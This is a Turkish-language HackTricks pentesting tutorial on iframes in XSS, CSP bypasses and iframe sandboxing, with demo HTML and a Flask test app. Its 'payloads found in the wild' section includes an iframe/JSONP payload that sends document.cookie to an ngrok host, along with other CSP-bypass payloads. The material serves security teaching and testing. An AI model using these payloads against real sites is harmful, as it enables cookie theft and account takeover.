hacktricks/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md

163 lines
9.2 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# XSS'te İframeler, CSP ve SOP
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) ya da [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'ı takip edin**.
* **Hackleme hilelerinizi göndererek PR'ler göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **paylaşın**.
</details>
## XSS'te İframeler
Bir iframeli sayfanın içeriğini belirtmenin 3 yolu vardır:
* `src` ile bir URL belirterek (URL çapraz kökenli veya aynı kökenli olabilir)
* `data:` protokolünü kullanarak içeriği belirterek `src` ile
* İçeriği belirterek `srcdoc` kullanarak
```html
<html>
<script>
var secret = "31337s3cr37t";
</script>
<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
<script>
function access_children_vars(){
alert(if1.secret);
alert(if2.secret);
alert(if3.secret);
alert(if4.secret);
}
setTimeout(access_children_vars, 3000);
</script>
</html>
```
```html
<!-- content of child.html -->
<script>
var secret="child secret";
alert(parent.secret)
</script>
```
Eğer önceki html'e bir http sunucusu üzerinden erişirseniz (örneğin `python3 -m http.server` gibi) tüm scriptlerin yürütüldüğünü fark edeceksiniz (çünkü engelleyen bir CSP yok). **Ana sayfa, herhangi bir iframe içindeki `secret` değişkenine erişemeyecek** ve **yalnızca aynı site olarak kabul edilen if2 ve if3 iframeleri orijinal penceredeki secret değişkenine erişebilecek**.\
if4'ün `null` kökene sahip olduğuna dikkat edin.
### CSP ile İframeler <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
{% hint style="info" %}
Lütfen, aşağıdaki bypasslarda iframelenmiş sayfaya verilen yanıtın JS yürütmesini engelleyen herhangi bir CSP başlığı içermediğine dikkat edin.
{% endhint %}
`script-src`'nin `self` değeri, JS kodunun `data:` protokolünü veya `srcdoc` özniteliğini kullanarak yürütülmesine izin vermeyecektir.\
Ancak, CSP'nin `none` değeri bile, `src` özniteliğine URL (tam veya sadece yol) ekleyen iframelerin yürütülmesine izin verecektir.\
Bu nedenle, bir sayfanın CSP'sini aşmak mümkündür:
```html
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='">
</head>
<script>
var secret = "31337s3cr37t";
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>
```
Not alın ki **önceki CSP yalnızca iç içe betiğin yürütülmesine izin verir**.\
Ancak, **yalnızca `if1` ve `if2` betikleri yürütülecek ancak yalnızca `if1` üst ebeveyin sırrına erişebilecek**.
![](<../../.gitbook/assets/image (372).png>)
Bu nedenle, bir JS dosyasını sunucuya yükleyebilir ve iframe aracılığıyla yükleyebilirseniz, `script-src 'none'` ile bile bir CSP'yi **atlayabilirsiniz**. Bu, **aynı site JSONP ucu kullanılarak da potansiyel olarak yapılabilir**.
Bunu `script-src 'none'` ile bile bir çerezin çalındığı aşağıdaki senaryo ile test edebilirsiniz. Uygulamayı çalıştırın ve tarayıcınızdan erişin:
```python
import flask
from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp
@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"
if __name__ == "__main__":
app.run()
```
### Vahşi Doğada Bulunan Diğer Yükler <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
```html
<!-- This one requires the data: scheme to be allowed -->
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
```
### Iframe kum havuzu
Bir iframe içindeki içerik, `sandbox` özelliğinin kullanımıyla ek kısıtlamalara tabi tutulabilir. Varsayılan olarak, bu özellik uygulanmaz, yani herhangi bir kısıtlama bulunmaz.
Kullanıldığında, `sandbox` özelliği birkaç kısıtlama getirir:
- İçerik, benzersiz bir kaynaktan geldiği gibi işlenir.
- Formların gönderilme girişimleri engellenir.
- Komut dosyalarının yürütülmesi yasaklanmıştır.
- Belirli API'lere erişim devre dışı bırakılmıştır.
- Bağlantıların diğer gezinme bağlamlarıyla etkileşimini engeller.
- `<embed>`, `<object>`, `<applet>` veya benzer etiketler aracılığıyla eklentilerin kullanımı yasaktır.
- İçeriğin üst düzey gezinme bağlamının içeriğin kendisi tarafından engellenmesi.
- Video oynatma veya form kontrollerinin otomatik odaklanması gibi otomatik olarak tetiklenen özellikler engellenir.
Özniteliğin değeri, tüm yukarıdaki kısıtlamaların uygulanması için boş bırakılabilir (`sandbox=""`). Aksi takdirde, belirli kısıtlamalardan iframe'ı muaf tutan belirli değerlerin boşlukla ayrılmış bir listesi olarak ayarlanabilir.
```html
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
```
## Iframe'lerde SOP
Aşağıdaki sayfalara bakın:
{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md" %}
[bypassing-sop-with-iframes-1.md](../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md)
{% endcontent-ref %}
{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md" %}
[bypassing-sop-with-iframes-2.md](../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md)
{% endcontent-ref %}
{% content-ref url="../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md" %}
[blocking-main-page-to-steal-postmessage.md](../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md)
{% endcontent-ref %}
{% content-ref url="../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md" %}
[steal-postmessage-modifying-iframe-location.md](../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md)
{% endcontent-ref %}
<details>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? **Şirketinizi HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks swag'ini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.**
* **Hacking püf noktalarınızı göndererek PR'lar göndererek paylaşın** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>